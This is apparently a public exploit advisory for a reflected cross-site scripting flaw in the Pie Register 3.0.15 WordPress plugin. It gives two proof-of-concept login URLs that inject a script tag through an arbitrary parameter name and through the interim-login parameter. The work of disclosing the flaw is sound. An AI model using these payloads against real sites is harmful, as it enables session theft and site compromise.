WordPress Pie Register 3.0.15 Cross Site Scripting

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Pie Register v3.0.15 (WordPress Plugin) - Cross-Site Scripting Vulnerability in Login  
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# Exploit Title: Pie Register v3.0.15 (WordPress Plugin) - Cross-Site Scripting Vulnerability in Login  
  
# Date: [10-03-2018]  
  
# Category: Webapps  
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# Author: Socket_0x03 (Alvaro J. Gene)  
  
# Email: Socket_0x03 (at) teraexe (dot) com  
  
# Website: www.teraexe.com  
  
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# Software Link: https://wordpress.org/plugins/pie-register  
  
# Plugin: Pie Register  
  
# Version: v3.0.15 (last version)  
  
# File: login  
  
# Parameters: interim-login, wp-lang, and supplied URL.  
  
# Language: This application is available in English language.  
  
# Plugin Description: Pie Register is a Word Press plugin that an administrator can   
use to create different kinds of forms without programming knowledge. In addition,   
an administrator can use Pie Register for payment features; for example, if an   
administrator is using Pie Register to provide some kind of service, he/she can  
charge an amount to his/her users via PayPal.  
  
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# Cross-Site Scripting Vulnerability:  
  
Name of an arbitrarily supplied URL parameter:  
http://www.website.com/wordpress/index.php/login/?frfqq"><script>alert(23)</script>rwhn7=1  
  
Parameters interim-login and wp-lang:  
http://www.website.com/wordpress/index.php/login/?redirect_to=http%3A%2F%2Fwww.website.com%2Fwordpress%2Findex.php%2F2018%2F09%2F27%2Fhello-world%2F&interim-login=zuhke"><script>alert(23)</script>v1ig9&wp_lang=en_US  
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